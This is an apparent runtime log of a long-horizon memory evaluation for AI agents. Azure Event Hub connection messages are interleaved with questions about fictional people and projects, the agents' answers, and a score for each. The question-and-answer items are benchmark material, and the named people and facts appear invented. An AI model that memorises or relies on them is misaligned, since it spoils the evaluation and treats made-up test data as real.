Management link receiver state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,942 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,942 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,943 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,953 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-1 (event_id=fc34cb7b94f1): How many times did the Project Atlas deadline change? +2026-03-13 03:27:18,960 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-2 (event_id=c3190bda0bec): What was the server migration cost according to the internal +2026-03-13 03:27:18,961 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-0 (event_id=0415651a62bc): What was the ORIGINAL deadline for Project Atlas before any +2026-03-13 03:27:18,987 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-0 (event_id=53defa7509c6): What was the Q1 revenue and how did it compare to forecast? +2026-03-13 03:27:18,996 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-2 (event_id=651e4d90519a): What allergy does James O'Brien have? +2026-03-13 03:27:19,000 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-4 (event_id=f7fbcd991008): What is the CURRENT deadline for Project Atlas? +2026-03-13 03:27:19,008 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-3 (event_id=7f5a381331c0): What percentage over the original estimate was the Q2 market +2026-03-13 03:27:50,293 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for d206140de6b8 from agent-1: Sarah Chen's birthday is **March 15**. +2026-03-13 03:27:50,294 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Sarah Chen's birthday is **March 15**.... +2026-03-13 03:27:50,294 [amplihack.eval.long_horizon_memory] INFO: Completed 1/20 questions (5%) +2026-03-13 03:27:50,294 [amplihack.eval.long_horizon_memory] INFO: Question 11/20: What does the internal audit say the server migration cost w +2026-03-13 03:27:50,486 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:50,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:50,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:50,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:50,604 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:50,605 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:50,605 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:50,605 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:50,605 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:50,663 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:50,713 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:50,763 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:50,814 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:50,814 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:50,864 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:50,865 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:51,075 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,134 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:51,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:51,311 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-0 (event_id=0f6bd60881cc): What does the internal audit say the server migration cost w +2026-03-13 03:27:52,699 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 171abd1e64c6 from agent-4: Yuki Tanaka holds a **PhD in Statistics from MIT**. +2026-03-13 03:27:52,700 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Yuki Tanaka holds a **PhD in Statistics from MIT**.... +2026-03-13 03:27:52,700 [amplihack.eval.long_horizon_memory] INFO: Completed 2/20 questions (10%) +2026-03-13 03:27:52,700 [amplihack.eval.long_horizon_memory] INFO: Question 12/20: What are the different claims about Q3 revenue and who made +2026-03-13 03:27:52,887 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:53,004 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,004 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,004 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,004 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:53,005 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,005 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:53,005 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,005 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:53,062 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,113 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,163 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:53,213 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,214 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:53,264 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,264 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:53,474 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,533 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:53,648 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:53,706 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-1 (event_id=c6efd2532e42): What are the different claims about Q3 revenue and who made +2026-03-13 03:27:55,505 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for c3190bda0bec from agent-2: According to the internal audit, the server migration cost was **$450,000 (USD)* +2026-03-13 03:27:55,507 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: According to the internal audit, the server migration cost was **$450,000 (USD)*... +2026-03-13 03:27:55,507 [amplihack.eval.long_horizon_memory] INFO: Completed 3/20 questions (15%) +2026-03-13 03:27:55,507 [amplihack.eval.long_horizon_memory] INFO: Question 13/20: Which project is Sarah Chen currently leading and what award +2026-03-13 03:27:55,681 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:55,790 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:55,791 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:55,791 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:55,844 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:55,894 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:55,945 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:55,995 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:55,995 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:56,046 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,046 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:56,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,306 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,418 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:56,419 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:56,473 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-2 (event_id=fd672e6bfa8c): Which project is Sarah Chen currently leading and what award +2026-03-13 03:28:14,146 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 3b599460cbdf from agent-3: Fatima Al-Hassan's hobby is **calligraphy**. +2026-03-13 03:28:14,147 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Fatima Al-Hassan's hobby is **calligraphy**.... +2026-03-13 03:28:14,147 [amplihack.eval.long_horizon_memory] INFO: Completed 4/20 questions (20%) +2026-03-13 03:28:14,147 [amplihack.eval.long_horizon_memory] INFO: Question 14/20: Fatima Al-Hassan moved from one project to research. Who rep +2026-03-13 03:28:14,343 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:14,461 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:14,462 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:14,462 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:14,519 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:14,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:14,620 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:14,671 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:14,671 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:14,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:14,721 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:14,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:14,991 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:15,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:15,167 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-3 (event_id=b02b3eec1610): Fatima Al-Hassan moved from one project to research. Who rep +2026-03-13 03:28:15,950 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 0415651a62bc from agent-0: The original deadline for Project Atlas was **June 15**. +2026-03-13 03:28:17,215 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: The original deadline for Project Atlas was **June 15**.... +2026-03-13 03:28:17,216 [amplihack.eval.long_horizon_memory] INFO: Completed 5/20 questions (25%) +2026-03-13 03:28:17,216 [amplihack.eval.long_horizon_memory] INFO: Question 15/20: What is Priya Patel's allergy? Answer with ONLY the allergy +2026-03-13 03:28:17,407 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:28:17,523 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:17,523 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:17,523 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:17,524 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:17,524 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:17,524 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:17,524 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:17,524 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:17,581 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:17,632 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:17,682 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:17,733 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:17,733 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:17,783 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:17,783 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:17,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,052 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,166 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,166 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,166 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:18,166 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,166 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:18,167 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:18,224 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-4 (event_id=17294aae2a1a): What is Priya Patel's allergy? Answer with ONLY the allergy +2026-03-13 03:28:24,569 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for fc34cb7b94f1 from agent-1: The Project Atlas deadline changed **2 times**. + +The project had 3 total deadlin +2026-03-13 03:28:25,790 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: The Project Atlas deadline changed **2 times**. + +The project had 3 total deadlin... +2026-03-13 03:28:25,790 [amplihack.eval.long_horizon_memory] INFO: Completed 6/20 questions (30%) +2026-03-13 03:28:25,790 [amplihack.eval.long_horizon_memory] INFO: Question 16/20: What is Elena Volkov's pet situation? Focus only on the peop +2026-03-13 03:28:25,982 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:28:26,100 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,100 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,100 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,100 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:26,101 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,101 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:26,101 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,101 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:26,159 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,209 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,260 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:26,310 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,310 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:26,361 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,361 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:26,571 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,630 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:26,747 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:26,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:26,806 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-0 (event_id=001c9d248872): What is Elena Volkov's pet situation? Focus only on the peop +2026-03-13 03:28:26,966 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for f7fbcd991008 from agent-4: ## Current Deadline for Project Atlas + +The current deadline for Project Atlas is +2026-03-13 03:28:28,462 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: ## Current Deadline for Project Atlas + +The current deadline for Project Atlas is... +2026-03-13 03:28:28,462 [amplihack.eval.long_horizon_memory] INFO: Completed 7/20 questions (35%) +2026-03-13 03:28:28,463 [amplihack.eval.long_horizon_memory] INFO: Question 17/20: How many different projects have I told you about? +2026-03-13 03:28:28,649 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:28:28,766 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:28,766 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:28,766 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:28,766 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:28,767 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:28,767 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:28,767 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:28,767 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:28,824 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:28,874 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:28,925 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:28,975 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:28,975 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:29,026 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,026 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:29,235 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,294 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,409 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,410 